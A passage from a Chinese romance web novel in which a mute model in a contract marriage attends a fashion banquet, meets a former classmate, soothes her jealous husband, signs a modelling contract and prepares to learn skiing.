诸愿眼睛亮了亮,指尖飞快跳动:【明晚六点!我拍完外景坐弗朗切斯科的车过去,您下班了可以直接去酒店,我在门口等您。】 “嗯。”他应了一声,声音里听不出情绪,却让她心里那块悬着的石头轻轻落了地。 第二天出门时,静姨递给她一个小箱子。她打开一看:防蚊水、驱蚊贴、抑菌液、止痒膏全都有,摆得整整齐齐。 “山上蚊虫毒。”静姨笑得温和,“一定要带上,注意防护。” 虽然夸张了些,但她知道静姨是为她好,听话的乖乖塞进了包里。 等到了拍摄现场,她把自己从头到脚能喷的、能涂的、能贴的都用上了,浑身散发着薄荷香,活像株会移动的驱蚊草。 旁边的小芙看得目瞪口呆,嗫嚅了一下,小声问:“姐,还有多的不,也给我点吧?” 静姨备得多,估计也是考虑到她身边的人,诸愿毫不吝啬地把箱子递了过去。 小芙喷了喷防蚊喷雾,惊叹:“这味儿也太好闻了!比公司那瓶强多了,上次差点把我熏晕。” 诸愿忍不住弯了弯唇角。 今天因为只是补拍,十二点刚过就结束了。回程车上,诸愿整个人都雀跃起来,她终于有机会玩贪吃蛇游戏了。 回到市区已经是一小时之后,众人先去吃了顿饭,庆祝此次拍摄工作终于结束,大家都很高兴,热热闹闹地吃了两个小时才散。 诸愿回公司卸妆,洗了个澡,换上条黑色法式短裙。掐腰的设计衬得腰线纤细,颈间的珍珠项链在灯光下泛着莹润的光,黑白碰撞间,肌肤愈发白皙清透。 她对着镜子抓了个蓬松的半扎发,柔顺微卷的黑发披在肩头,漂亮灵动。 刚戴好同款珍珠耳钉,小芙就推门进来,惊呼道:“姐,您这也太好看了吧!怎么我们一起晒外景,我黑了三个度,您皮肤还这么白?快交出护肤秘籍。” 诸愿已经习惯身边人的夸张手法,看她缠着自己要,笑着把购买记录发给她。 —— 到了酒店门口,诸愿看了眼时间,才五点,她们算是提前到了。 同行的弗朗切斯科知道她还要等顾识弈,提议:“先进去等吧,顾总来了再出来接。”说着眼神示意周围。 诸愿长得惹眼,穿着又精致,才站在酒店门口一会儿,就引来了不少侧目。 诸愿点头应下。 乘电梯上楼,刚进门就撞见主办方郑老先生,对方笑着迎上来:“弗朗切斯科先生,您来了。这位是?” 来人约莫五六十岁,在来的路上,诸愿就听弗朗切斯科介绍过,郑老是设计师出身。此次私宴,便是以他当年进时尚圈的重大转折日期举办的,邀请的都是时尚圈子的各路人物。 现在看,他穿着上的巧思和审美,果然名不虚传。 “诸愿,诸小姐。”弗朗切斯科介绍道。 郑老先生伸出手,目光赞赏:“原来是诸小姐,真是百闻不如一见。”他侧身让出身后的年轻男人,“这是我的儿子兼徒弟,郑誉。” 郑誉穿着燕尾服,绅士地鞠躬,先同弗朗切斯科握了手,再转向诸愿,伸手时却顿了顿,脱口而出:“小哑巴?” 许久没听到这个称呼,诸愿浑身一僵,抬头看去,才发现这张脸有些眼熟。 这时郑老先生快速地看了她一眼,随即沉下声训斥:“阿誉,不得无礼。” 郑誉极为乖顺地低下头:“是。”然后抬头面向诸愿,解释道:“诸小姐,您是叫诸愿吧?我是你的高中同学郑誉,还记得吗?” 她的高中同学? 诸愿怔在原地,记忆里好像确实是有个叫郑誉的同学,但时间太久远,她早已忘了是什么模样。 “原来你已经成为模特了。”郑誉由衷的为她高兴,“不知道有没有机会邀请你做我们家模特。” 诸愿来这的目的,就是希望能签下和郑氏的合同,郑誉说的正中她的心意,当即想拿出手机打字交流。 电话却突然响了起来,屏幕上跳动的时间也跟着映入眼帘——六点十分。 遭了!她竟忘了出去接顾识弈! 但紧接着她就想起了另外一件事,郑誉是她的同学,那不就也是苏沐的同学?要是被郑誉知道她嫁给了顾识弈,苏沐知道她结婚的事也就不远了! 所以千万不能让郑誉知道她和顾识弈认识。 这些想法在脑海里一瞬间闪过,她垂眸看着屏幕上响铃的电话,狠下心按掉了。 她对着其他人歉意一笑,再走到一旁,打开微信快速地编辑文字发给顾识弈。 诸愿:【我遇到了我的高中同学,可以拜托您进来后假装不认识我吗?】 她刚发出去,同一时间就收到顾识弈的信息:【你在哪?】 她赶紧再打字:【弗朗切斯科已经派人去接您了。】 只是还没发出去,就收到顾识弈的回信:【下一次一定跟我打招呼?】 诸愿看到这条信息,脸一下子就羞红了。 她上次在商场假装不认识顾识弈,事后特意向男人保证“下次一定跟您打招呼”,结果没想到这么快就有下次了,而且还违背了诺言。 诸愿脸颊发热,继续打字:真的没有下次了,拜托您…… “小心——”诸愿的字还没有打完,手腕就被人拉住。她扭头,拉她的正是那个高中同学郑誉。 她挣扎,对方也没拦着,立刻松了手,道歉道:“抱歉,是我看你一直往前走,怕你撞上香槟塔,所以才拦着您。” 诸愿看了看自己站着的位置和堆得比人还高的香槟塔,觉得自己根本不可能傻到会撞上去,但对方确实是好心,她只好感谢地点点头。 然而就在她低头想把未打完的字继续打完时,却看见屏幕上跳出来一条新信息。 【究竟是怕跟我认识暴露身份,还是怕我挡了你的桃花运?】顾识弈的每个字都透着股陌生的冷意:【诸愿,你还记得我们协议第一条写的是什么吧?” 一瞬间,诸愿只觉浑身血液都凝住了。 协议第一条:乙方不得与异性有任何暧昧接触,违者离婚,佣金作废!《 》 15、第15章 诸愿浑身僵住,指节攥得死紧,指甲几乎要嵌进掌心肉里。 脑海里反复碾过一个念头——顾识弈要跟她离婚,并且一分钱都不会给她。 也就是说,她这一个多月的讨好都将付之东流。 “顾总!”身后突然响起郑老先生中气十足的嗓门。 诸愿惊得回头,正撞见郑老先生大步流星迎向门口,脸上堆着褶子笑:“您肯赏光,真是让我这小宴蓬荜生辉啊!” 门内的诸愿与踏进来的顾识弈遥遥对上眼。男人神色晦暗不明,目光却牢牢锁在她身上。 诸愿下意识往前挪了半步,身旁的郑誉忽然开口:“你认识顾总?” 脚步顿在原地,她看向郑誉,顶着远处那道灼人的视线缩回脚,轻轻摇了摇头。 下一秒,就听见顾识弈那不高不低,却自带穿透力的嗓音响起:“是我的荣幸。” 郑老先生笑得红光满面,连忙侧身相引:“顾总这边请。” 男人最后扫了她一眼,依言往内走去。 诸愿掌心被指甲掐破的地方,蜿蜒流出一条细小红线,她却像没知觉似的,终究没动。 “诸愿,我们也进去吧。”郑誉全然不知其中纠葛,温声提议。 诸愿想着手机里顾识弈发来的信息,此刻实在不想进去跟他打照面,可郑氏的模特合约又牢牢吸引着她。 郑氏老牌子根基稳,每季固定上新,能成为长期合作模特,几乎是捧上了铁饭碗。 犹豫再三,她还是点了头,只是进门时特意落后郑誉小半步。 郑誉一露面,就被郑老先生拉住向众人引荐:“这是我的徒弟郑誉……” 跟在后面的诸愿瞬间被涌上来恭维的人潮挤开,只能站在圈外远远看着,像被遗落在角落里的透明人。 忽然有道强烈地视线落在她身上,她一抬头,正好撞进顾识弈眼里。 她愣愣地望着他,忽见他薄唇轻启,无声吐出两个字:过来。 诸愿瞥见他左手边确实空着个位置,下意识就走了过去。 直到坐下,才后知后觉不对。 他刚发过那样的信息,怎么会叫自己过来?可等了半天,男人都没再出声,她才敢确定,那声“过来”真是对自己说的。 郑老先生招呼完人走过来时,看见稳稳坐在顾识弈身边的诸愿,眼神明显顿了顿。 他语气委婉,却带着不加掩饰的疏离:“诸小姐,您不爱说话,要不坐到后边去?那边的美食更合心意。” 明眼人都听出来是赶人。 诸愿脸颊烫得能煎鸡蛋,刚要起身,就听见顾识弈淡淡开口:“我更喜欢安静的人。” 喧闹的室内瞬间死寂,落针可闻。 还是郑誉反应快,快步过来拍了拍她的肩:“老师是怕诸小姐认生,惊扰了顾总。既然顾总不介意,就请诸小姐在这儿坐着吧。”转头又用熟稔的语气问她:“阿愿,坐这儿没问题吧?” “阿愿?”顾识弈学着喊了一声,尾音微扬,像是觉得有趣。话是对郑誉说的,可目光却始终黏在诸愿脸上,“看来你们很熟?” 郑誉瞥见他眼里那抹隐晦的侵略性,眉头微蹙。他有心护着,故意加重了语气:“我和阿愿是高中同学,也是好朋友。” “只是朋友?” 郑誉心里咯噔一下,总觉得哪里不对,却又想不通。 他与顾识弈尚且云泥之别,诸愿怎么可能跟这位大人物扯上关系?便硬着头皮重复:“只是朋友。” 诸愿见顾识弈又要开口,赶紧用手悄悄扯了扯他桌下的衣袖,拼命眨着眼睛示意。 男人看了她一眼,不再言语。周围紧绷的空气都松了半分。 晚餐开始,厨师们端着菜上来一一讲解。 诸愿能感觉到顾识弈身上的低气压,却猜不透他气到了什么地步。 正好上了道鹌鹑蛋做的菜,她趁众人注意力都在菜品上,飞快夹了一颗放进他碗里,随即低下头,心脏怦怦直跳。 既怕被人看见,更怕他当众拂开。 等了足有半分钟,她才敢偷偷抬眼,正看见顾识弈将那颗鹌鹑蛋送进了嘴里。 诸愿心里一松,偷偷弯了弯唇角。看来是不气了。趁众人谈得热络,她又飞快夹了一颗。 对面的郑家小女儿早就听父兄提起过顾识弈,原以为是夸张,今晚一见才知传言不虚。 他能力卓绝,容貌更是拔尖。这样的人物,能沾上边也是好的。 可顾识弈从踏入宴会开始,就压根没给她搭话的机会。直到看见那个哑巴女孩给顾识弈偷偷夹菜,而那样的大人物竟坦然受了,她才恍然大悟。 原来是自己不够主动。 正好众人起身敬酒,她立刻端起红酒杯走了过去。 诸愿正吃得开心,忽然有个娇俏的身影挤到她和顾识弈中间,声音甜得发腻:“顾总,我敬您一杯。” 她识趣地低下头继续吃东西,刚把一颗肉丸塞进嘴里,就听见顾识弈用平静无波的声音说:“抱歉,我太太不让我在外喝酒。” “咳…咳——”鱼丸一下卡在喉咙里,不上不下,诸愿憋得满脸通红。 正纠结是该用力咽下去,还是失仪地吐出来,一只骨节分明的手突然伸到她面前,伴着一声不容置疑的命令:“吐。” 她下意识就照做了。 看着掌心里那颗沾着她唾液的鱼丸,再顺着手臂往上看,正对上顾识弈深不见底的眼睛。 诸愿只觉得天旋地转,几乎要两眼一黑,恨不得找个地缝钻进去。 再转头时,才发现满室的目光都像聚光灯,齐刷刷打在她和顾识弈身上,带着探究与惊愕。 这时,顾识弈起身,云淡风轻地说:“失陪。”然后在众目睽睽之下看向她,状似礼貌寻问:“诸小姐,能陪我去一趟盥洗室吗?” 郑老先生眼神毒辣,被顾识弈拒绝之后,立马就意识到有问题。 眼见着自家徒弟又要护着那个根本不用他担心的诸小姐,他立马按住了郑誉的手,在人看过来时轻摇头。 果然见那女孩也起了身,和顾总一前一后地离开了席位,像被他无形的气场笼罩着。 餐桌上还坐着的大家面面相觑,郑老先生却高兴地招呼其他继续吃喝,转头对郑誉道:“安排下去,明天我就要和诸小姐签订长期合同。” “怎……”郑誉不解的刚吐出一个字,就瞪大了眼睛。郑老先生知道他这是脑子转过弯来了,不再解释,慢慢悠悠地摇晃酒杯,笑得像只势在必得的老狐狸。 诸愿跟着顾识弈进入盥洗室,看着男人拧开水龙头,冲刷一遍后,按了一泵洗手液,慢条斯理地搓弄掌心,泡沫在他修长的指缝间泛开。 她还没从自己又闯祸惹到顾识弈的恐慌里出来,就听见他的声音突然在头顶响起,带着几分不易察觉的沉:“不解释一下?” 解释……什么? 她茫然地抬起头,是解释她为什么吐到他手里吗? 可不是顾识弈自己说的“吐出来”,还拿手伸过来接吗? 不然她就算要吐,也可以吐在骨碟里。 越想,诸愿越觉得不对劲,甚至开始出现荒谬的念头:顾识弈伸手过来是故意的。 可转念一想又觉得不对,他那样的人,怎么会纡尊降贵的去接她吐出来的污秽物。 这没有道理。 诸愿一直陷在自己的分析里,没回答顾识弈的问题。 他皱起眉头,回头就看见少女失神的样子,眉头皱得更深了,语气里带着几分咬牙切齿:“难道真是我看到的那样?你喜欢郑誉,所以也要在他面前装不认识我?” 诸愿怎么也没想到,她不过多想了几秒,顾识弈就已经从“解释吐在他手里”的理由,跳到了“喜欢郑誉”上。 这之间有什么关联吗? 而且,她不喜欢郑誉。 高中时候她只和苏沐一起玩,加上不会说话,和其他人关系不过点头之交,这个其他人也包括郑誉。 可这时候诸愿再怎么觉得顾识弈是个好人,也知道不能因为被说了不属于她的罪名就理直气壮地生气,说“你错了”。 剥开朝夕相处的那点温情,她们本质只是雇佣关系。 前车之鉴,为了不失去那些报酬,她只能去解释,求着他原谅,不然后果就是——离婚、没钱。 屏幕的光映着她簌簌抖动的长睫,她飞快地打字,指腹因为用力而泛白:【他真的只是我的高中同学,我和他站在一起,是因为我想和郑氏签模特合同。】 “那他为什么要牵你的手?”顾识弈步步逼紧。 牵手?诸愿一时想不起来,她和郑誉从见面到现在有牵过手吗? 就连刚见面时打招呼的握手都因为发现两人是高中同学而中断,哪里有过手心接触? 等等……好像有。 她赶紧继续打字解释:【如果您说的是他拉了我手腕一下,那您真的误会了,我站得位置正好在香槟塔前,他怕我撞上去才拉我的,当时我立刻就挣开了,后面的事您也看见了,我真的没有喜欢他,您信我。】 打完又觉得不妥,字里行间像在急着撇清关系。 她咬了咬下唇,又补了一句:【是我的错,下次不会了,不会再出现惹人误会的举动。】 顾识弈看完文字,目光扫过她泛红的眼角,那抹红像被水汽浸过,带着点可怜的湿意。 他神色微顿,再开口时,语气里的寒意散了些:“这样最好。” 诸愿连忙点头。 “很冷?” 顾识弈突然问。诸愿这才发现自己的手抖得厉害,连带着肩膀都在发颤。 她慌忙摇头,掩饰般地低垂脑袋,将脸上的神情全藏了起来。 下一秒,顾识弈的西装外套直接披在了她的肩膀上,带着他身上清冽的松木香,像一张温柔的网将她裹住。 她怔住,抬眼望向他。 顾识弈温和地开口:“害怕暴露关系的话,可以在进去前脱掉。” 诸愿眼眶里好不容易憋住的眼泪,“啪嗒”一下子就掉了下来。 模糊的视线里,对面的顾识弈肉眼可见地慌了。《 》 16-20 第16章 诸愿胸腔里像是被什么堵住了,闷胀的情绪充斥着四肢百骸。 为什么总是这样? 她刚觉得这人或许没那么凶,就被兜头浇盆冷水,等她怵了他那冷硬的脾性,他偏又冒出点难得的温存。 委屈像闷了口柠檬汁,酸意顺着鼻腔顶上来,一阵阵发涨。 她哭得抽噎不止,肩膀一耸一耸的,像只被抛弃的可怜幼猫。 顾识弈的手悬在半空,指节分明的指尖带着点犹豫,正要碰到她发烫的脸颊时,诸愿猛地偏过头躲开了。 不能再信了。 这话在心里念了一遍又一遍,苦得像吞了黄连。 她再也不要被这忽远忽近的好迷惑。哭声越发悲恸,藏不住的委屈顺着呜咽往外淌。 顾识弈僵在半空的手本要收回,见她这副模样,宽大的手掌还是按了下去,带着不容拒绝的力道扣住后颈,指尖擦过脸颊时却轻得不像话,一点点蘸去滚烫的泪。 “不许哭了。”他的声音比平时沉些,喉结在颈间滚动。 他见过诸愿哭过很多次,砸到他脑袋时红着眼圈,擅自闯进他房间时害怕地掉金豆豆,硬要给他上药被拒时眼眶湿漉漉的……可唯独没见过现在这样,哭得毫无章法,断断续续的抽气声一下下剐着他的心,竟让他也跟着发紧地疼。 偏这哭声半点没停,眼泪反倒流得更凶了。 他真怕她哭出什么好歹,方才的强硬早散了,语气软得自己都没察觉:“谁欺负你了?说出来,我去揍他。” “别哭了,嗯?” 诸愿怎么敢说是他。只能拼命摇头,泪珠却像断了线的珠子,一颗颗砸到他的手背上。 顾识弈显然也不信,指腹擦掉她新滚出来的泪:“你觉得我解决不了?” 他语气里的认真让诸愿明白,这事没个说法是过不去了。 她用力吸了吸鼻子,抬手抹脸时,掌心忽然传来一阵刺痛。 她想起,顾识弈进宴会厅时,她把指甲不小心嵌进掌心掐出的伤口。 像是找到了蒙混过关的解决方案,诸愿摊开手心递到他面前,另一只手飞快地在手机上敲字:【就是这里疼,本来想跟你说的,可你只关心别人,我觉得被冷落了……】 掌心那道被指甲戳破的口子很小,过了这么久,早已结了层浅红色的痂。小得连她自己都觉得,实在犯不着哭成这样,可字已经打出来了,只能硬着头皮等他反应。 果然,顾识弈瞥了眼,喉间溢出一声轻笑:“娇气。” 诸愿鼻子一酸,眼泪又要涌上来。她想缩回手,指尖刚动,就被他牢牢攥住了,力道不重,却挣不开。 没等她反应过来,顾识弈已经用手机扫了墙上的急救箱二维码,电子屏弹出“已出箱”提示音时,诸愿惊讶地睁圆了眼,下意识想抽回手阻止,却被他攥得更紧。 他拆开包装,折断碘伏棉签,低头竟真的要给她上药:“不是疼?” 诸愿缩手的动作顿住。 她看着他垂眸时认真的侧脸,睫毛在眼下投出一小片阴影,指尖触到的碘伏凉意里,裹着他小心翼翼的温柔。 诸愿心里那点翻涌的委屈,忽然就像被戳破的 气球,慢慢瘪了下去,只剩下些微的酸胀。 她忽然发现自己好像错了。 顾识弈就是顾识弈,是她先给他贴上“好人”的标签,才会理所当然地盼着他时刻周全。 可是凭什么呢?她顶多算是和他签订协议的合作对象,连亲密朋友都不是。他肯对她好,已经算难得,她又在抱怨什么呢。 这么一想,诸愿皱着的小脸慢慢舒展开来,连带着紧绷的肩膀也松了。 顾识弈一直在不动声色地观察少女,见人不再掉眼泪,眉目舒展:“现在觉得被重视了?” 自我释然的诸愿情绪来得快去得也快。闻言,她舔了舔发干的唇,不好意思地朝他点点头,眼角还挂着未干的泪。 顾识弈上完药,又擦掉那点泪珠,眸中漾开一抹温柔的笑意,忽然觉得哄人好像也没有那么难。 回程的车上,顾识弈给章司年发信息:【联系圈内最大的女装模特公司,我要给诸愿铺路。】 对面秒回:【?】 紧接着又是一条:【你不是最恨走后门?上次我想托你给我合伙人拉个投资,你怎么说的?】 顾识弈理所当然地回:【诸愿是我的妻子,身为丈夫,理应为她提供就业岗位。】 章司年:【……】 【这话说的不像是她的丈夫,更像是劳务中介。】 顾识弈:【事成之后,少不了你的好处。】 章司年:【小的这就为您联系~】 顾识弈看见那个波浪号,嫌弃地皱了皱眉,眼不见为净地按黑屏幕。转头就见诸愿歪着头打瞌睡,脑袋随着车身在道路转弯时晃来晃去,像个没坐稳的不倒翁。 他犹豫了下,轻轻将她再次晃动起来的脑袋托住,小心翼翼地按向自己肩头。 发丝扫过颈侧,带着淡淡的栀子香。 少女被按住后,往他肩上蹭了蹭,像是终于找到了舒服的枕头,安心地睡了过去,呼吸均匀而轻柔。 顾识弈盯着她泛红的眼尾,眸色沉了沉。 他并不信少女说的因为手心疼而哭,那哭声里的绝望太真切,联系当时的情景,他更觉得诸愿是怕不能和郑氏签合同,才会那样难过。 因此,他决定自己给她找个更好的公司,这样她就不会再为工作的事掉眼泪了。 翌日中午,诸愿刚睡醒就看见郑氏向梦发来的签约邀请,高兴得差点从床上弹起来,握着手机的指尖都在发抖。 一看信息发送时间是上午九点,而此时已经快十二点了,她赶紧回复对方一定会去,然后飞快地爬下床洗漱。 吃过饭,她又立马上楼换衣服。虽然约的时间是两点,可她怕出意外错过,一点就出门了。 抵达向梦时比预计时间提前了三十分钟,在前台签过字,她坐在旁边的沙发上等,指尖无意识地绞着裙摆,心里既紧张又期待。 不消一会儿,诸愿听到脚步声,抬头时却愣住了——来人竟是郑誉。她赶紧站起来。 “阿愿。”郑誉笑着走近,语气熟稔。 两人虽然是同学,但就如她跟顾识弈说的那样,高中时其实只是点头之交。 诸愿客气地伸出手,郑誉眼底闪过一丝讶异,随即也跟着伸出手,指尖相触即分。 他笑说:“你还是这样。” 诸愿抿唇笑了笑,没接话。 接下来的一个小时里,郑誉跟她介绍了向梦的基本情况、签约后的职责,以及能享有的福利。说完便留给她查看合同的时间,自己先离开了。 诸愿坐在接待室里翻了翻纸张,她没什么工作经验,上一份合同还是顾识弈帮她看的,并不能判断里面的内容好与不好。 想了想,她把合同拍照发给苏沐,附带信息:【苏沐,你有空吗?可以现在帮我看看这个合同有没有问题吗?】 苏沐回了个“OK”的表情包,二十分钟后发来一串惊叹:【我靠这合同的福利也太好了吧!他们还招不招人啊,搞得我都想跳槽了!】 得了苏沐的肯定,诸愿不再犹豫,签好字便去找郑誉。 要离开时,郑誉忽然开口:“老同学见面,一起吃个饭?” 诸愿想起昨天顾识弈的诘问,连忙摇头,打字:【不了,家里有人等。】 郑誉的笑僵了下,犹豫着想问什么,最终还是咽了回去:“那下次。” 诸愿点头道别,拎起合同袋,脚步轻快地出了向梦。 她绕路去买了杯奶茶,想了想又加了两杯果茶,打算带回去给静姨和顾识弈。 到家后,诸愿先把其中一杯果茶递给了静姨。静姨接过来,看着她眉开眼笑的样子,笑着问:“太太什么事这么高兴啊?” 诸愿正是处在和向梦签了合同的兴奋时候,闻言没抑制住从包里掏出合同,高兴地展示给她看,打字分享:【我刚刚和郑氏的向梦签了长期合同,以后我就有工作了!】 她在回家的路上盘算了无数次:这一年里,吃喝住行全由顾识弈承担,工作赚的钱相当于纯收入。 向梦给的薪资本就不低,合同期限又有一年,这些收入足够她和哥哥重获自由后,安稳生活一两年。 更重要的是,等和顾识弈离婚,拿到那三成佣金后,她就能直接带哥哥去最好的医院做手术了。 一想到这些,她就觉得人生都亮堂起来,仿佛看见铺满阳光与鲜花的未来。 顾识弈一踏进家门,就看见少女坐在沙发上笑,眸光明亮得像嵌了星星。 他有一瞬间的失神,原来少女笑起来是这样美的,像朝阳的向日葵,没有了往日的畏缩。 他唇角微不可查地勾了勾,走过去,状似随意地问:“什么事这么开心。” 诸愿的高兴收不住,见他似乎心情也不错,便一同分享地打字:【我和郑氏的向梦正式签约了,以后我也是有工作的人啦!】 刚跟着进来、打开公文包正摸到模特合同的林正,眼角余光瞥见诸愿打的字,掏文件的手猛地一顿,飞快地看向自家老板。 诸愿将打好字的手机屏幕转向顾识弈,指尖悬在机身边缘,等了约莫十秒,还是没等来预想中的回应, 她抬眼时,正对上男人徒然冷下来的侧脸——方才唇角那点若有似无的弧度,不知何时已敛得干干净净,唇线绷成一道冷硬的直线。 心猛地一沉,她惊觉自己失了分寸,顾识弈能松口让她出去工作已是天大的让步,自己竟然还拿到他面前晃,简直是捋虎须。 指尖慌忙往回收,手机还没完全揣进兜里,就听见他低声滚出个单音节:“嗯。”顿了顿,又补了句:“挺好的。” 诸愿偷眼去瞧,男人脸上没什么表情,只挥了挥手让林秘书离开。 那副模样,不像是生气,但要说没气,又总觉得哪里透着股沉郁。 怪怪的。 不过既然顾识弈没说什么,她便统统默认是为她高兴了,刚想咧开嘴角笑,就听他面无表情道:“奶茶糖分超标,以后少碰。” 扬起的嘴角瞬间僵住。 诸愿抱着手机犹豫了半天,终究没敢打字反驳。 毕竟这杯奶茶钱,还是刷的他给的副卡。只庆幸刚才幸好没把剩下那杯果茶先递给他。 一旁的静姨见状不对,连忙端着菜从厨房出来打圆场:“饭做好了,顾总、太太,快过来吃饭吧。” —— 诸愿是被闹钟吵醒的,一个半月前还在美滋滋地盘算着日进斗金的日子,今早那阵尖锐的铃声一响,所有幻想都碎成了泡沫。 她几乎是凭着一股“再不起就没钱”的意念,从柔软的被窝里挣扎出来。 她眯着眼睛摸到餐桌旁坐下,打了个长长的哈欠,揉着眼睛抬头时,才发现顾识弈正坐在对面。 清晨的阳光透过落地窗斜斜地洒进来,在他挺直的鼻梁上投下一道利落的阴影,将侧脸轮廓衬得愈发冷硬分明,像尊精心雕琢的冰雕。 同住了三个月,诸愿早没了当初的战战兢兢。她抓起一个肉包子塞进嘴里 ,腮帮子鼓鼓地嚼着,没承想顾识弈却开了口。 “很累?” 他正用银叉切着盘中的煎蛋,金属碰撞瓷盘发出轻响,语气听不出情绪。 诸愿嚼着包子点头,又赶紧摇头。 做模特就是这样,忙起来能连轴转三天三夜,闲起来又能在家宅到发霉。 前几天赶秋装系列,她几乎没合过眼,今天自然累得够呛。 顾识弈却像是没看见她的窘迫,慢悠悠地说:“有几家做高定的模特公司,半年就拍三组片子。” 诸愿第一反应是“还有这种好事”?可没等她把惊喜的表情摆全,就听他接着道:“你可以考虑换个公司。” 诸愿捏着半个包子的手指紧了紧。 他终于还是看不惯她抛头露面工作了?! 她赶紧拿出手机,飞快地打字:【向梦挺好的,有很多其他公司没有的优势,我还不想换。】 “随你。”顾识弈像是只随口给了个建议,见她不心动,便没再往下说,低头继续用餐。 诸愿暗自松了口气,许是自己多心了。顾识弈这样的人,日理万机,哪有闲心管她这点小事。 早餐在沉默中结束,诸愿拎着包去了公司。 今天是秋装最后一个系列的拍摄,收工的时候正好赶上下班点。她收拾东西准备回家,休息室的门却被敲响了。 抬头一看,郑誉站在门口,手里举着杯奶茶,笑着说:“秋天的第一杯奶茶,给你的。” 像是怕她拒绝,郑誉又补充道:“全公司都有份,算是福利。你刚才一直在拍,才没给你拿。” 诸愿接过来,打字:【谢谢郑总监。】 郑誉见她收下,笑得更温和了些:“秋天系列拍完,接下来一周你可以好好休息了。” 诸愿点点头,正准备道谢离开,又听他问:“你会滑雪吗?” 诸愿不解地抬起头,郑誉解释道:“休息结束后要开冬季新款的拍摄,其中有组滑雪服,不用太专业,但像换刃这些基础动作得会,到时候要拍段展示视频。” 晚上洗完澡,诸愿窝在按摩椅里刷滑雪教程,视频里的人踩着雪板翻飞,看起来似乎也没多难。 她看得心痒,不由自主地站起来,踩着按摩椅的边缘,学着视频里的样子摆动手臂,试着模仿转弯的动作。 刚扭了半个圈,身后就传来顾识弈冷飕飕的声音:“想从这摔下去?” 诸愿吓得猛地回头,就见顾识弈不知何时立在玄关,眼神里带着点生气。 她这才迟钝地意识到,自己站在半人高的按摩椅上比划滑雪动作,活像只在悬崖边蹦跶的傻鸟,稍不留意就得摔成八瓣。 诸愿讪讪地笑了笑,赶紧坐回椅子里。 静姨正好在餐厅摆碗筷,诸愿顺势套上拖鞋,指了指餐桌的方向,比了个简单的手语:〈吃饭了。〉 这个手势简单易懂,她倒不担心顾识弈看不懂,比划完就想溜去餐桌,把这事翻篇。 谁知,顾识弈换了身家居服坐在餐桌另一端,开口第一句话就是:“想学滑雪?” 方才看教程时离屏幕太远,她特意把声音调到最大,想来是被他听见了。 她老实地点点头,又想起上次他问自己腿上红肿的事,觉得惜字如金的顾识弈既然开口问了,肯定不只是想得到一个点头。 她拿出手机,打字解释:【下个月要拍滑雪服,得做些滑雪动作,我不会,想趁休息日学学。】 “他们不教?”顾识弈的语气带着点理所当然的反问。 诸愿愣了愣,反应过来他大概是觉得,既然是工作需求,公司理应负责。 她摇了摇头,又飞快地敲字:【要是我不会,这衣服就得给别的模特了,我就赚不到这笔钱了。】 而且她刚才看视频,觉得滑雪好像挺有意思的,能在工作之余学个新技能,也不错。 当然,只看肯定是学不会的,还是要去滑雪馆找专业的教练教她。 刚刚的练习只是她习惯性提前做功课,把不懂的地方列出来写在纸上,免得让教练觉得教个不能说话的麻烦。 顾识弈看完,只淡淡道:“有问题可以找林正帮忙。” 诸愿记着这话,第二天一早就点开林秘书的微信对话框,输入:【林秘书,能帮我找个适合新手学习的滑雪馆和教练吗?我想学习滑雪。】 林秘书回得极快:【好的太太,顾氏旗下有滑雪馆,我联系好后马上给您答复。】 诸愿忍不住夸了句靠谱,发了个“谢谢”的表情包,又附了个大红包,备注:【谢礼】。 林正刚想点拒收,眼角余光瞥见老板不知何时站在了自己身后,吓得赶紧站起身:“顾总。” 顾识弈“嗯”了一声,目光落在电脑屏幕上,视线在那个红包上停了半秒。 林秘书心领神会,主动汇报:“太太想学滑雪,让我帮忙找滑雪馆。” “找到了?” 林秘书点头,把回复诸愿的话重复一遍:“顾氏有亲戚开滑雪馆,找场地不难,我稍后列几个让太太选。”顿了顿,又补充道,“只是教练可能得费点功夫,太太不能说话,最好找个能看得懂手语的,教起来方便些。顾总,您看这样安排可以吗?” 本以为这是最稳妥的方案,却听顾识弈语气平淡地来了句:“这么麻烦。” 林秘书愣在原地,大脑飞速运转。 他瞥见老板的目光始终落在自己和诸愿的聊天框上,又想起公文包里那份迟迟没递出去的合同,忽然灵光一闪,一个大胆的猜测冒了出来,惊得他一瞬间瞪大双眼,又立马恢复。 他硬着头皮,试探着说:“太太胆子小,找陌生人教,怕是要磨合好一阵子才能适应。但刚刚太太说这事挺急的,顾总您滑雪不是拿过冠军吗?要不……就由您来教?” 顾识弈没说话,指尖无意识地摩挲着桌面。 林秘书观察着他的神色,壮着胆子继续劝: “时间这么紧,好教练都得提前预约,我未必能找到合适的。万一找的教练不靠谱,让太太失望,那属下就罪该万死了,恳请顾总帮帮属下,指导太太完成任务吧。” 沉默片刻,顾识弈吐出一个字:“行。” 林秘书简直要喜极而泣,连忙趁热打铁道:“属下刚得知,明天馆内有场滑雪比赛,不如先带太太去观赛,顺便试试雪?” “可以。”顾识弈应了声,转身离开了。 林秘书大松一口气,才发现后背已沁出薄汗,心里却再清楚不过:以后再不能把诸愿当成随时会被赶走的人了。 —— 诸愿没想到林秘书不仅靠谱,效率还高得惊人。 当天晚上就收到消息,说明天上午十点约好了教练,会来万宜接她去上课。 她高兴地回了个“OK”的表情包,抱着手机在床上滚了半圈。 第二天,诸愿看到林秘书拎着一套崭新的粉色滑雪服站在门口,在身上比划了下,尺寸像是量身定做般的合适。她再一次被林秘书的周到和贴心感动。 换好衣服,林秘书才笑着解释:“刚跟馆主联系,说预约的教练正好有场比赛,得等半小时后才能过来,太太要不要先去看看比赛?” 诸愿刷视频时就对那些滑雪高手满心羡慕,如今有机会看现场,自然是求之不得,立马点头答应。 林秘书把她带到观众席的最佳位置。场馆里的冷风扑面而来,裹挟着雪粒的清冽气息,诸愿恍惚间竟真有种置身冰天雪地的错觉,忍不住缩了缩脖子,脸上的笑容却更甚。 比赛场上,发令枪响的瞬间,一道黑色身影如离弦之箭般冲下助滑坡,弓着的脊背绷出流畅的线条,雪板切开雪地时扬起的粉雾,像拖着条流星的光轨。 诸愿的目光一下子就被这名参赛员勾住了。 接近大跳台边缘时,他猛地屈膝,身体骤然腾空。 诸愿望着那如银峰般耸立的跳台,下意识攥紧拳头,心也跟着提到了嗓子 眼。 只见那人在空中舒展、收紧,身体在空中划出一道利落的弧线,竟是个标准的三周空翻! 雪板稳稳嵌入雪面,只留下两道平行的深痕。 他顺势屈膝缓冲,动作行云流水,计时器定格的前一秒,人已站直了身体,挺拔地立在雪地里。 